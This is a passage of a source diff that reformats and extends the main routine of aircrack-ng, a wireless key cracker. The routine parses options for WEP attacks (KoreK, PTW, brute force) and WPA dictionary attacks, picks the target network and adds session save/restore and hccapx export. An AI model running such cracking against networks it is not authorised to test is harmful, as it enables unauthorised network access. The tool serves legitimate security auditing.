 				{
-					printf( "Invalid MAC address filter.\n" );
+					printf("Invalid MAC address filter.\n");
 					printf("\"%s --help\" for help.\n", argv[0]);
-					return( FAILURE );
+					return (FAILURE);
 				}
 
 				break;
 
-			case 'n' :
+			case 'n':
 
-				if( sscanf( optarg, "%d", &opt.keylen ) != 1 ||
-					( opt.keylen !=  64 && opt.keylen != 128 &&
-					opt.keylen != 152 && opt.keylen != 256 &&
-					opt.keylen != 512 ) )
+				if (sscanf(optarg, "%d", &opt.keylen) != 1
+					|| (opt.keylen != 64 && opt.keylen != 128
+						&& opt.keylen != 152
+						&& opt.keylen != 256
+						&& opt.keylen != 512))
 				{
-					printf( "Invalid WEP key length. [64,128,152,256,512]\n" );
+					printf("Invalid WEP key length. [64,128,152,256,512]\n");
 					printf("\"%s --help\" for help.\n", argv[0]);
-					return( FAILURE );
+					return (FAILURE);
 				}
 
-				opt.keylen = ( opt.keylen / 8 ) - 3;
+				opt.keylen = (opt.keylen / 8) - 3;
 
 				break;
 
-			case 'i' :
+			case 'i':
 
-				if( sscanf( optarg, "%d", &opt.index ) != 1 ||
-					opt.index < 1 || opt.index > 4 )
+				if (sscanf(optarg, "%d", &opt.index) != 1 || opt.index < 1
+					|| opt.index > 4)
 				{
-					printf( "Invalid WEP key index. [1-4]\n" );
+					printf("Invalid WEP key index. [1-4]\n");
 					printf("\"%s --help\" for help.\n", argv[0]);
-					return( FAILURE );
+					return (FAILURE);
 				}
 
 				break;
 
-			case 'f' :
+			case 'f':
 
-				if( sscanf( optarg, "%f", &opt.ffact ) != 1 ||
-					opt.ffact < 1 )
+				if (sscanf(optarg, "%f", &opt.ffact) != 1 || opt.ffact < 1)
 				{
-					printf( "Invalid fudge factor. [>=1]\n" );
+					printf("Invalid fudge factor. [>=1]\n");
 					printf("\"%s --help\" for help.\n", argv[0]);
-					return( FAILURE );
+					return (FAILURE);
 				}
 
 				break;
 
-			case 'k' :
+			case 'k':
 
-				if( sscanf( optarg, "%d", &opt.korek ) != 1 ||
-					opt.korek < 1 || opt.korek > N_ATTACKS )
+				if (sscanf(optarg, "%d", &opt.korek) != 1 || opt.korek < 1
+					|| opt.korek > N_ATTACKS)
 				{
-					printf( "Invalid KoreK attack strategy. [1-%d]\n", N_ATTACKS );
+					printf("Invalid KoreK attack strategy. [1-%d]\n",
+						   N_ATTACKS);
 					printf("\"%s --help\" for help.\n", argv[0]);
-					return( FAILURE );
+					return (FAILURE);
 				}
 
 				K_COEFF[(opt.korek) - 1] = 0;
 
 				break;
 
-			case 'l' :
-				opt.logKeyToFile = (char *)calloc(1, strlen(optarg) + 1);
+			case 'l':
+				opt.logKeyToFile = (char *) calloc(1, strlen(optarg) + 1);
 				if (opt.logKeyToFile == NULL)
 				{
 					printf("Error allocating memory\n");
-					return( FAILURE );
+					return (FAILURE);
 				}
 
 				strncpy(opt.logKeyToFile, optarg, strlen(optarg));
 				break;
 
-			case 'E' :
-				// Make sure there's enough space for file extension just in case it was forgotten
-				opt.wkp = (char *)calloc(1, strlen(optarg) + 1 + 4);
+			case 'E':
+				// Make sure there's enough space for file extension just in
+				// case it was forgotten
+				opt.wkp = (char *) calloc(1, strlen(optarg) + 1 + 4);
 				if (opt.wkp == NULL)
 				{
 					printf("Error allocating memory\n");
-					return( FAILURE );
+					return (FAILURE);
 				}
 
 				strncpy(opt.wkp, optarg, strlen(optarg));
 
 				break;
 
-			case 'J' :
-				// Make sure there's enough space for file extension just in case it was forgotten
-				opt.hccap = (char *)calloc(1, strlen(optarg) + 1 + 6);
+			case 'J':
+				// Make sure there's enough space for file extension just in
+				// case it was forgotten
+				opt.hccap = (char *) calloc(1, strlen(optarg) + 1 + 6);
 				if (opt.hccap == NULL)
 				{
 					printf("Error allocating memory\n");
-					return( FAILURE );
+					return (FAILURE);
 				}
 
 				strncpy(opt.hccap, optarg, strlen(optarg));
 
 				break;
 
-			case 'M' :
+			case 'j':
+				// Make sure there's enough space for file extension just in
+				// case it was forgotten
+				opt.hccapx = (char *) calloc(1, strlen(optarg) + 1 + 7);
+				if (opt.hccapx == NULL)
+				{
+					printf("Error allocating memory\n");
+					return (FAILURE);
+				}
+
+				strncpy(opt.hccapx, optarg, strlen(optarg));
+
+				break;
+
+			case 'M':
 
-				if( sscanf( optarg, "%d", &opt.max_ivs) != 1 || opt.max_ivs < 1)
+				if (sscanf(optarg, "%d", &opt.max_ivs) != 1 || opt.max_ivs < 1)
 				{
-					printf( "Invalid number of max. ivs [>1]\n");
+					printf("Invalid number of max. ivs [>1]\n");
 					printf("\"%s --help\" for help.\n", argv[0]);
-					return( FAILURE );
+					return (FAILURE);
 				}
 
 				K_COEFF[(opt.korek) - 1] = 0;
 
 				break;
 
-			case 'P' :
+			case 'P':
 
-				if( sscanf( optarg, "%d", &opt.ptw_attack) != 1 || opt.ptw_attack < 0 || opt.ptw_attack > 2)
+				if (sscanf(optarg, "%d", &opt.ptw_attack) != 1
+					|| opt.ptw_attack < 0
+					|| opt.ptw_attack > 2)
 				{
-					printf( "Invalid number for ptw debug [0-2]\n");
+					printf("Invalid number for ptw debug [0-2]\n");
 					printf("\"%s --help\" for help.\n", argv[0]);
-					return( FAILURE );
+					return (FAILURE);
 				}
 
 				break;
 
-			case 'x' :
+			case 'x':
 
 				opt.do_brute = 0;
 
 				if (optarg)
 				{
-					if (sscanf(optarg, "%d", &opt.do_brute)!=1
-						|| opt.do_brute<0 || opt.do_brute>4)
+					if (sscanf(optarg, "%d", &opt.do_brute) != 1
+						|| opt.do_brute < 0
+						|| opt.do_brute > 4)
 					{
 						printf("Invalid option -x%s. [0-4]\n", optarg);
 						printf("\"%s --help\" for help.\n", argv[0]);
@@ -5531,26 +5894,26 @@
 
 				break;
 
-			case 'X' :
+			case 'X':
 
 				opt.do_mt_brute = 0;
 				break;
 
-			case 'y' :
+			case 'y':
 
 				opt.do_testy = 1;
 				break;
 
-			case 'K' :
+			case 'K':
 				opt.do_ptw = 0;
 				break;
 
-			case 's' :
+			case 's':
 				opt.showASCII = 1;
 				break;
 
-			case 'w' :
-				if(set_dicts(optarg) != 0)
+			case 'w':
+				if (set_dicts(optarg) != 0)
 				{
 					printf("\"%s --help\" for help.\n", argv[0]);
 					return FAILURE;
@@ -5559,48 +5922,53 @@
 				opt.do_ptw = 0;
 				break;
 
-			case 'r' :
+			case 'r':
 #ifdef HAVE_SQLITE
-				if(sqlite3_open(optarg, &db)) {
+				if (sqlite3_open(optarg, &db))
+				{
 					fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db));
 					sqlite3_close(db);
 					return FAILURE;
 				}
 #else
-				fprintf(stderr, "Error: Aircrack-ng wasn't compiled with sqlite support\n");
+				fprintf(
+					stderr,
+					"Error: Aircrack-ng wasn't compiled with sqlite support\n");
 				return FAILURE;
 #endif
 				break;
 
-			case '0' :
+			case '0':
 
 				opt.l33t = 1;
 				break;
 
-			case 'H' :
+			case 'H':
 
 				showhelp = 1;
 				goto usage;
 				break;
 
-			case 'C' :
+			case 'C':
 				nbMergeBSSID = checkbssids(optarg);
 
-				if(nbMergeBSSID < 1)
+				if (nbMergeBSSID < 1 || nbMergeBSSID >= INT_MAX)
 				{
-					printf("Invalid bssids (-C).\n\"%s --help\" for help.\n", argv[0]);
+					printf("Invalid bssids (-C).\n\"%s --help\" for help.\n",
+						   argv[0]);
 					return FAILURE;
 				}
 
 				// Useless to merge BSSID if only one element
 				if (nbMergeBSSID == 1)
-					printf("Merging BSSID disabled, only one BSSID specified\n");
+					printf(
+						"Merging BSSID disabled, only one BSSID specified\n");
 				else
 					opt.bssidmerge = optarg;
 
 				break;
 
-			case 'z' :
+			case 'z':
 				/* only for backwards compatibility - PTW used by default */
 				if (opt.visual_inspection)
 				{
@@ -5613,238 +5981,357 @@
 
 				break;
 
-			default : goto usage;
+			default:
+				goto usage;
 		}
 	}
 
-	if (_speed_test) {
-		opt.amode = 2;
+	if (_speed_test)
+	{
+		if (opt.forced_amode != 1)
+		{
+			// default to WPA-PSK (2)
+			opt.amode = 2;
+		}
 		opt.dict = stdin;
 		opt.bssid_set = 1;
 
-		ap_1st = ap_cur = malloc(sizeof(*ap_cur));
-		if (!ap_cur)
-			err(1, "malloc()");
+		ap_cur = malloc(sizeof(*ap_cur));
+		if (!ap_cur) err(1, "malloc()");
 
 		memset(ap_cur, 0, sizeof(*ap_cur));
 
 		ap_cur->target = 1;
 		ap_cur->wpa.state = 7;
+		ap_cur->wpa.keyver = (uint8_t)(opt.amode & 0xFF);
 		strcpy(ap_cur->essid, "sorbo");
+		strcpy((char *) ap_cur->bssid, "deadb");
+		c_avl_insert(targets, ap_cur->bssid, ap_cur);
 
 		goto __start;
 	}
 
-	if( argc - optind < 1 )
+	// Cracking session is only for when one or more wordlists are used.
+	// Airolib-ng not supported and stdin not allowed.
+	if ((opt.dict == NULL || opt.no_stdin || db) && cracking_session)
+	{
+		fprintf(
+			stderr,
+			"Cannot save/restore cracking session when there is no wordlist,"
+			" when using stdin or when using airolib-ng database.");
+		goto exit_main;
+	}
+
+	progname = getVersion(
+		"Aircrack-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+
+	if ((cracking_session && cracking_session->argc - optind < 1)
+		|| (!cracking_session && argc - optind < 1))
 	{
-		if(argc == 1)
+		if (nbarg == 1)
 		{
-usage:
-			printf (usage, progname,
-				( cpu_count > 1 || cpu_count == -1) ? "\n      -X         : disable  bruteforce   multithreading\n" : "\n");
+		usage:
+			printf(usage,
+				   progname,
+				   (cpu_count > 1 || cpu_count == -1) ? "\n      -X         : "
+														"disable  bruteforce   "
+														"multithreading\n"
+													  : "\n");
 
 			// If the user requested help, exit directly.
-			if (showhelp == 1)
-				exit(0);
+			if (showhelp == 1) clean_exit(SUCCESS);
 		}
 
 		// Missing parameters
-		if( argc - optind == 0)
-	    {
-	    	printf("No file to crack specified.\n");
-	    }
-	    if(argc > 1)
-	    {
-    		printf("\"%s --help\" for help.\n", argv[0]);
-	    }
-		return( ret );
+		if (nbarg - optind == 0)
+		{
+			printf("No file to crack specified.\n");
+		}
+		if (nbarg > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		clean_exit(ret);
 	}
 
-	if( opt.amode == 2 && opt.dict == NULL )
+	if (opt.amode >= 2 && opt.dict == NULL)
 	{
-		nodict:
-		if (opt.wkp == NULL && opt.hccap == NULL)
+	nodict:
+		if (opt.wkp == NULL && opt.hccap == NULL && opt.hccapx == NULL)
 		{
-			printf( "Please specify a dictionary (option -w).\n" );
+			printf("Please specify a dictionary (option -w).\n");
 		}
 		else
 		{
 			if (opt.wkp)
 			{
-				ap_cur = ap_1st;
 				ret = do_make_wkp(ap_cur);
 			}
 			if (opt.hccap)
 			{
-				ap_cur = ap_1st;
 				ret = do_make_hccap(ap_cur);
 			}
-	}
-	goto exit_main;
+			if (opt.hccapx)
+			{
+				ret = do_make_hccapx(ap_cur);
+			}
+		}
+		goto exit_main;
 	}
 
-	if( (! opt.essid_set && ! opt.bssid_set) && ( opt.is_quiet || opt.no_stdin ) )
+	if ((!opt.essid_set && !opt.bssid_set) && (opt.is_quiet || opt.no_stdin))
 	{
-		printf( "Please specify an ESSID or BSSID.\n" );
+		printf("Please specify an ESSID or BSSID.\n");
 		goto exit_main;
 	}
 
 	/* start one thread per input file */
 
-	signal( SIGINT,  sighandler );
-	signal( SIGQUIT, sighandler );
-	signal( SIGTERM, sighandler );
-	signal( SIGALRM, SIG_IGN );
-
-	pthread_mutex_init( &mx_apl, NULL );
-	pthread_mutex_init( &mx_ivb, NULL );
-	pthread_mutex_init( &mx_eof, NULL );
-	pthread_mutex_init( &mx_dic, NULL );
-	pthread_cond_init(  &cv_eof, NULL );
-
-	ap_1st = NULL;
+	signal(SIGINT, sighandler);
+	signal(SIGQUIT, sighandler);
+	signal(SIGTERM, sighandler);
+	signal(SIGALRM, SIG_IGN);
+
+	pthread_mutex_init(&mx_apl, NULL);
+	pthread_mutex_init(&mx_ivb, NULL);
+	pthread_mutex_init(&mx_eof, NULL);
+	pthread_mutex_init(&mx_dic, NULL);
+	pthread_cond_init(&cv_eof, NULL);
 
 	old = optind;
-	n = argc - optind;
+	n = nbarg - optind;
 	id = 0;
 
-	if( !opt.bssid_set )
+	if (!opt.bssid_set)
 	{
-		do
+		if (!opt.is_quiet)
 		{
-			if( strcmp( argv[optind], "-" ) == 0 )
-				opt.no_stdin = 1;
+			printf("Reading packets, please wait...\r");
+			fflush(stdout);
+		}
 
-			if( pthread_create( &(tid[id]), NULL, (void *) check_thread,
-				(void *) argv[optind] ) != 0 )
+		do
+		{
+			char * optind_arg = (restore_session)
+									? cracking_session->argv[optind]
+									: argv[optind];
+			if (strcmp(optind_arg, "-") == 0) opt.no_stdin = 1;
+
+			packet_reader_t * request
+				= (packet_reader_t *) calloc(1, sizeof(packet_reader_t));
+			if (NULL == request) perror("malloc");
+
+			request->mode = PACKET_READER_CHECK_MODE;
+			request->filename = optind_arg;
+
+			if (pthread_create(
+					&(tid[id]), NULL, (void *) packet_reader_thread, request)
+				!= 0)
 			{
-				perror( "pthread_create failed" );
+				perror("pthread_create failed");
 				goto exit_main;
 			}
 
-			usleep( 131071 );
 			id++;
-			if(id >= MAX_THREADS)
+			if (id >= MAX_THREADS)
 			{
-				if(! opt.is_quiet)
-					printf("Only using the first %d files, ignoring the rest.\n", MAX_THREADS);
+				if (!opt.is_quiet)
+					printf(
+						"Only using the first %d files, ignoring the rest.\n",
+						MAX_THREADS);
 				break;
 			}
-		}
-		while( ++optind < argc );
+		} while (++optind < nbarg);
 
 		/* wait until each thread reaches EOF */
 
-		if( ! opt.is_quiet )
+		// 		#ifndef DO_PGO_DUMP
+		// 		signal( SIGINT, SIG_DFL );	 /* we want sigint to stop and dump
+		// pgo
+		// data */
+		// 		#endif
+
+		intr_read = 1;
+		for (i = 0; i < id; i++)
 		{
-			printf( "Reading packets, please wait...\r" );
-			fflush( stdout );
+			pthread_join(tid[i], NULL);
+			tid[i] = 0;
 		}
+		intr_read = 0;
 
-// 		#ifndef DO_PGO_DUMP
-// 		signal( SIGINT, SIG_DFL );	 /* we want sigint to stop and dump pgo data */
-// 		#endif
-		intr_read=1;
-
-		for(i=0; i<id; i++)
-			pthread_join( tid[i], NULL);
-
-		id=0;
-
-		if( ! opt.is_quiet && ! opt.no_stdin )
-			printf( "\33[KRead %ld packets.\n\n", nb_pkt );
+		if (!opt.is_quiet && !opt.no_stdin)
+		{
+			erase_line(0);
+			printf("Read %ld packets.\n\n", nb_pkt);
+		}
 
-		if( ap_1st == NULL )
+		if (c_avl_size(access_points) == 0)
 		{
-			printf( "No networks found, exiting.\n" );
+			printf("No networks found, exiting.\n");
 			goto exit_main;
 		}
 
-		if( ! opt.essid_set && ! opt.bssid_set )
+		if (cracking_session && restore_session)
 		{
-			/* ask the user which network is to be cracked */
+			// If cracking session present (and it is a restore), auto-load it
+			int not_found = c_avl_get(
+				access_points, cracking_session->bssid, (void **) &ap_cur);
 
-			printf( "   #  BSSID%14sESSID%21sEncryption\n\n", "", "" );
+			if (not_found)
+			{
+				fprintf(stderr, "Failed to find BSSID from restore session.\n");
+				clean_exit(EXIT_FAILURE);
+			}
 
-			i = 1;
+			// Set BSSID
+			memcpy(opt.bssid, ap_cur->bssid, 6);
+			opt.bssid_set = 1;
 
-			ap_cur = ap_1st;
+			// Set wordlist
+			if (next_dict(cracking_session->wordlist_id))
+			{
+				fprintf(stderr,
+						"Failed setting wordlist ID from restore session.\n");
+				clean_exit(EXIT_FAILURE);
+			}
 
-			while( ap_cur != NULL )
+			// Move into position in the wordlist
+			if (fseeko(opt.dict, cracking_session->pos, SEEK_SET) != 0
+				|| ftello(opt.dict) != cracking_session->pos)
 			{
-				memset( essid, 0, sizeof(essid));
-				memcpy( essid, ap_cur->essid, 32);
-				for(zz=0;zz<32;zz++)
-				{
-					if( (essid[zz] > 0 && essid[zz] < 32) || (essid[zz] > 126) )
-						essid[zz]='?';
-				}
+				fprintf(stderr,
+						"Failed setting position in wordlist from "
+						"restore session.\n");
+				clean_exit(EXIT_FAILURE);
+			}
 
-				printf( "%4d  %02X:%02X:%02X:%02X:%02X:%02X  %-24s  ",
-					i, ap_cur->bssid[0], ap_cur->bssid[1],
-					ap_cur->bssid[2], ap_cur->bssid[3],
-					ap_cur->bssid[4], ap_cur->bssid[5],
-					essid );
+			// Set amount of keys tried -> Done later
+		}
+		else if (!opt.essid_set && !opt.bssid_set)
+		{
+			/* ask the user which network is to be cracked */
 
-				if( ap_cur->eapol )
-					printf( "EAPOL+" );
+			printf("   #  BSSID%14sESSID%21sEncryption\n\n", "", "");
 
-				switch( ap_cur->crypt )
-				{
-					case  0: printf( "None (%d.%d.%d.%d)\n",
-						ap_cur->lanip[0], ap_cur->lanip[1],
-						ap_cur->lanip[2], ap_cur->lanip[3] );
-					break;
+			i = 1;
 
-					case  1: printf( "No data - WEP or WPA\n" );
-					break;
+			void * key;
+			c_avl_iterator_t * it = c_avl_get_iterator(access_points);
+			while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
+			{
+				memset(essid, 0, sizeof(essid));
+				memcpy(essid, ap_cur->essid, 32);
+				for (zz = 0; zz < 32; zz++)
+				{
+					if ((essid[zz] > 0 && essid[zz] < 32) || (essid[zz] > 126))
+						essid[zz] = '?';
+				}
+
+				printf("%4d  %02X:%02X:%02X:%02X:%02X:%02X  %-24s  ",
+					   i,
+					   ap_cur->bssid[0],
+					   ap_cur->bssid[1],
+					   ap_cur->bssid[2],
+					   ap_cur->bssid[3],
+					   ap_cur->bssid[4],
+					   ap_cur->bssid[5],
+					   essid);
+
+				if (ap_cur->eapol) printf("EAPOL+");
+
+				switch (ap_cur->crypt)
+				{
+					case 0:
+						printf("None (%d.%d.%d.%d)\n",
+							   ap_cur->lanip[0],
+							   ap_cur->lanip[1],
+							   ap_cur->lanip[2],
+							   ap_cur->lanip[3]);
+						break;
 
-					case  2: printf( "WEP (%ld IVs)\n",
-						ap_cur->nb_ivs );
-					break;
+					case 1:
+						printf("No data - WEP or WPA\n");
+						break;
 
-					case  3: printf( "WPA (%d handshake)\n",
-						ap_cur->wpa.state == 7 );
-					break;
+					case 2:
+						printf("WEP (%ld IVs)\n", ap_cur->nb_ivs);
+						break;
 
-					default: printf( "Unknown\n" );
-					break;
+					case 3:
+						printf("WPA (%d handshake%s)\n",
+							   ap_cur->wpa.state == 7,
+							   (ap_cur->wpa.pmkid[0] != 0x00 ? ", with PMKID"
+															 : ""));
+						break;
+
+					default:
+						printf("Unknown\n");
+						break;
 				}
 
-				i++; ap_cur = ap_cur->next;
+				i++;
 			}
+			c_avl_iterator_destroy(it);
+			it = NULL;
 
-			printf( "\n" );
+			printf("\n");
 
-			if( ap_1st->next != NULL )
+			if (c_avl_size(access_points) > 1)
 			{
 				do
 				{
-					printf( "Index number of target network ? " );
-					fflush( stdout );
+					printf("Index number of target network ? ");
+					fflush(stdout);
 					ret1 = 0;
-					while(!ret1) ret1 = scanf( "%127s", buf );
+					while (!ret1) ret1 = scanf("%127s", buf);
 
-					if( ( z = atoi( buf ) ) < 1 )
-						continue;
+					if ((z = atoi(buf)) < 1) continue;
 
-					i = 1; ap_cur = ap_1st;
-					while( ap_cur != NULL && i < z )
-						{ i++; ap_cur = ap_cur->next; }
-				}
-				while( z < 0 || ap_cur == NULL );
+					i = 1;
+					c_avl_iterator_t * it = c_avl_get_iterator(access_points);
+					while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0
+						   && i < z)
+					{
+						i++;
+					}
+					c_avl_iterator_destroy(it);
+					it = NULL;
+					if (i == z)
+					{
+						ap_cur->target = 1;
+						c_avl_insert(targets, ap_cur->bssid, ap_cur);
+					}
+				} while (z < 0 || ap_cur == NULL);
+			}
+			else if (c_avl_size(access_points) == 1)
+			{
+				printf("Choosing first network as target.\n");
+				c_avl_iterator_t * it = c_avl_get_iterator(access_points);
+				c_avl_iterator_next(it, &key, (void **) &ap_cur);
+				c_avl_iterator_destroy(it);
+				it = NULL;
+				ap_cur->target = 1;
+				c_avl_insert(targets, ap_cur->bssid, ap_cur);
 			}
 			else
 			{
-				printf( "Choosing first network as target.\n" );
-				ap_cur = ap_1st;
+				// no access points
 			}
 
-			printf( "\n" );
+			printf("\n");
+
+			// Release memory of all APs we don't care about currently.
+			ap_avl_release_unused(ap_cur);
 
-			memcpy( opt.bssid, ap_cur->bssid,  6 );
+			memcpy(opt.bssid, ap_cur->bssid, 6);
 			opt.bssid_set = 1;
 
+			// Copy BSSID to the cracking session
+			if (cracking_session && opt.dict != NULL)
+			{
+				memcpy(cracking_session->bssid, ap_cur->bssid, 6);
+			}
+
 			/* Disable PTW if dictionary used in WEP */
 			if (ap_cur->crypt == 2 && opt.dict != NULL)
 			{
@@ -5852,101 +6339,111 @@
 			}
 		}
 
-		ap_1st = NULL;
+		// ac_aplist_free();
 		optind = old;
-		id=0;
+		id = 0;
 	}
 
-	nb_eof=0;
-	signal( SIGINT, sighandler );
+	id = 0;
+	nb_pkt = 0;
+	nb_eof = 0;
 
-	do
+	signal(SIGINT, sighandler);
+
+	if (!opt.is_quiet)
 	{
-		if( strcmp( argv[optind], "-" ) == 0 )
-			opt.no_stdin = 1;
+		printf("Reading packets, please wait...\r");
+		fflush(stdout);
+	}
 
-		if( pthread_create( &(tid[id]), NULL, (void *) read_thread,
-			(void *) argv[optind] ) != 0 )
+	do
+	{
+		char * optind_arg
+			= (restore_session) ? cracking_session->argv[optind] : argv[optind];
+		if (strcmp(optind_arg, "-") == 0) opt.no_stdin = 1;
+
+		packet_reader_t * request
+			= (packet_reader_t *) calloc(1, sizeof(packet_reader_t));
+		if (NULL == request) perror("malloc");
+
+		request->mode = PACKET_READER_READ_MODE;
+		request->filename = optind_arg;
+
+		if (pthread_create(
+				&(tid[id]), NULL, (void *) packet_reader_thread, request)
+			!= 0)
 		{
-			perror( "pthread_create failed" );
+			perror("pthread_create failed");
 			goto exit_main;
 		}
 
 		id++;
-		usleep( 131071 );
-		if(id >= MAX_THREADS)
-			break;
-	}
-	while( ++optind < argc );
-
-	nb_pkt=0;
+		if (id >= MAX_THREADS) break;
+	} while (++optind < nbarg);
 
 	/* wait until each thread reaches EOF */
 
-	intr_read=0;
-	pthread_mutex_lock( &mx_eof );
-
-	if( ! opt.is_quiet )
+	intr_read = 0;
+	for (i = 0; i < id; i++)
 	{
-		printf( "Reading packets, please wait...\r" );
-		fflush( stdout );
+		pthread_join(tid[i], NULL);
+		tid[i] = 0;
 	}
+	intr_read = 1;
 
-	while( nb_eof < n && ! intr_read )
-		pthread_cond_wait( &cv_eof, &mx_eof );
-
-	pthread_mutex_unlock( &mx_eof );
-
-	intr_read=1;
-// 	if( ! opt.is_quiet && ! opt.no_stdin )
-// 		printf( "\33[KRead %ld packets.\n\n", nb_pkt );
+	if (!opt.is_quiet && !opt.no_stdin)
+	{
+		erase_line(0);
+		printf("Read %ld packets.\n\n", nb_pkt);
+	}
 
-// 	#ifndef DO_PGO_DUMP
-// 	signal( SIGINT, SIG_DFL );	 /* we want sigint to stop and dump pgo data */
-// 	#endif
+	// 	#ifndef DO_PGO_DUMP
+	// 	signal( SIGINT, SIG_DFL );	 /* we want sigint to stop and dump pgo data
+	// */
+	// 	#endif
 
 	/* mark the targeted access point(s) */
-
-	ap_cur = ap_1st;
-
-	while( ap_cur != NULL )
-	{
-		if( memcmp( opt.maddr, BROADCAST, 6 ) == 0 ||
-			( opt.bssid_set && ! memcmp( opt.bssid, ap_cur->bssid, 6 ) ) ||
-			( opt.essid_set && ! strcmp( opt.essid, ap_cur->essid    ) ) )
+	void * key;
+	c_avl_iterator_t * it = c_avl_get_iterator(access_points);
+	while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
+	{
+		if (memcmp(opt.maddr, BROADCAST, 6) == 0
+			|| (opt.bssid_set && !memcmp(opt.bssid, ap_cur->bssid, 6))
+			|| (opt.essid_set && !strcmp(opt.essid, ap_cur->essid)))
+		{
 			ap_cur->target = 1;
+		}
 
-		ap_cur = ap_cur->next;
+		if (ap_cur->target)
+		{
+			c_avl_insert(targets, ap_cur->bssid, ap_cur);
+		}
 	}
+	c_avl_iterator_destroy(it);
+	it = NULL;
 
-	ap_cur = ap_1st;
+	printf("%d potential targets\n\n", c_avl_size(targets));
+	ap_cur = get_first_target();
 
-	while( ap_cur != NULL )
+	if (ap_cur == NULL)
 	{
-		if( ap_cur->target )
-			break;
-
-		ap_cur = ap_cur->next;
-	}
-
-	if( ap_cur == NULL )
-	{
-		printf( "No matching network found - check your %s.\n",
-			( opt.essid_set ) ? "essid" : "bssid" );
+		printf("No matching network found - check your %s.\n",
+			   (opt.essid_set) ? "essid" : "bssid");
 
 		goto exit_main;
 	}
 
-	if( ap_cur->crypt < 2 )
+	if (ap_cur->crypt < 2)
 	{
-		switch( ap_cur->crypt )
+		switch (ap_cur->crypt)
 		{
-			case  0:
-				printf( "Target network doesn't seem encrypted.\n" );
+			case 0:
+				printf("Target '%s' network doesn't seem encrypted.\n",
+					   ap_cur->essid);
 				break;
 
 			default:
-				printf( "Got no data packets from target network!\n" );
+				printf("Got no data packets from target network!\n");
 				break;
 		}
 
@@ -5955,12 +6452,12 @@
 
 	/* create the cracker<->master communication pipes */
 
-	for( i = 0; i < opt.nbcpu; i++ )
+	for (i = 0; i < opt.nbcpu; i++)
 	{
-		unused = pipe( mc_pipe[i] );
-		unused = pipe( cm_pipe[i] );
+		unused = pipe(mc_pipe[i]);
+		unused = pipe(cm_pipe[i]);
 
-		if (opt.amode<=1 && opt.nbcpu>1 && opt.do_brute && opt.do_mt_brute)
+		if (opt.amode <= 1 && opt.nbcpu > 1 && opt.do_brute && opt.do_mt_brute)
 		{
 			unused = pipe(bf_pipe[i]);
 			bf_nkeys[i] = 0;
@@ -5970,265 +6467,321 @@
 __start:
 	/* launch the attack */
 
+	// Start cracking session
+	if (cracking_session)
+	{
+		if (pthread_create(&cracking_session_tid,
+						   NULL,
+						   (void *) session_save_thread,
+						   (void *) NULL)
+			!= 0)
+		{
+			perror("pthread_create failed");
+			goto exit_main;
+		}
+	}
+
 	pthread_mutex_lock(&mx_nb);
-	nb_tried = 0;
+	// Set the amount of keys tried
+	nb_tried = (cracking_session && restore_session)
+				   ? cracking_session->nb_keys_tried
+				   : 0;
 	nb_kprev = 0;
 	pthread_mutex_unlock(&mx_nb);
 
-	chrono( &t_begin, 1 );
-	chrono( &t_stats, 1 );
-	chrono( &t_kprev, 1 );
+	chrono(&t_begin, 1);
+	chrono(&t_stats, 1);
+	chrono(&t_kprev, 1);
 
-	signal( SIGWINCH, sighandler );
+	signal(SIGWINCH, sighandler);
 
-	if( opt.amode == 1 )
-		goto crack_wep;
+	if (opt.amode == 1) goto crack_wep;
 
-	if( opt.amode == 2 )
-		goto crack_wpa;
+	if (opt.amode >= 2) goto crack_wpa;
 
-	if( ap_cur->crypt == 2 )
+	if (ap_cur->crypt == 2)
 	{
-		crack_wep:
+	crack_wep:
 
 		/* Default key length: 128 bits */
-		if( opt.keylen == 0 )
-			opt.keylen = 13;
+		if (opt.keylen == 0) opt.keylen = 13;
 
-		if(j + opt.do_brute > 4)
+		if (j + opt.do_brute > 4)
 		{
-			printf( "Bruteforcing more than 4 bytes will take too long, aborting!" );
+			printf(
+				"Bruteforcing more than 4 bytes will take too long, aborting!");
 			goto exit_main;
 		}
 
-		for( i=0; i<opt.do_brute; i++)
+		for (i = 0; i < opt.do_brute; i++)
 		{
-			opt.brutebytes[j+i] = opt.keylen -1 -i;
+			opt.brutebytes[j + i] = opt.keylen - 1 - i;
 		}
 
 		opt.do_brute += j;
 
-		if( opt.ffact == 0 )
+		if (opt.ffact == 0)
 		{
-                        if( opt.do_ptw ) opt.ffact = 2;
-                        else
-                        {
-                            if( ! opt.do_testy )
-                            {
-                                if( opt.keylen == 5 )
-                                    opt.ffact = 5;
+			if (opt.do_ptw)
+				opt.ffact = 2;
+			else
+			{
+				if (!opt.do_testy)
+				{
+					if (opt.keylen == 5)
+						opt.ffact = 5;
+					else
+						opt.ffact = 2;
+				}
 				else
-                                    opt.ffact = 2;
-                            }
-                            else
-                                opt.ffact = 30;
-                        }
+					opt.ffact = 30;
+			}
 		}
 
-		memset( &wep, 0, sizeof( wep ) );
+		memset(&wep, 0, sizeof(wep));
 
 		if (opt.do_ptw)
 		{
-			if(!opt.is_quiet)
-				printf("Attack will be restarted every %d captured ivs.\n", PTW_TRY_STEP);
-			opt.next_ptw_try = ap_cur->nb_ivs_vague - (ap_cur->nb_ivs_vague % PTW_TRY_STEP);
+			if (!opt.is_quiet)
+				printf("Attack will be restarted every %d captured ivs.\n",
+					   PTW_TRY_STEP);
+			opt.next_ptw_try
+				= ap_cur->nb_ivs_vague - (ap_cur->nb_ivs_vague % PTW_TRY_STEP);
 			do
 			{
-				if(ap_cur->nb_ivs_vague >= opt.next_ptw_try)
+				if (ap_cur->nb_ivs_vague >= opt.next_ptw_try)
 				{
-					if(!opt.is_quiet)
-						printf("Starting PTW attack with %ld ivs.\n", ap_cur->nb_ivs_vague);
+					if (!opt.is_quiet)
+						printf("Starting PTW attack with %ld ivs.\n",
+							   ap_cur->nb_ivs_vague);
 					ret = crack_wep_ptw(ap_cur);
 
-					if( opt.oneshot == 1 && ret == FAILURE )
+					if (opt.oneshot == 1 && ret == FAILURE)
 					{
-						printf( "   Attack failed. Possible reasons:\n\n"
-							"     * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n"
-							"       can be cracked with about 80 000 IVs, sometimes more.\n\n"
-							"     * Try to raise the fudge factor (-f).\n");
-						ret=0;
+						printf("   Attack failed. Possible reasons:\n\n"
+							   "     * Out of luck: you must capture more IVs. "
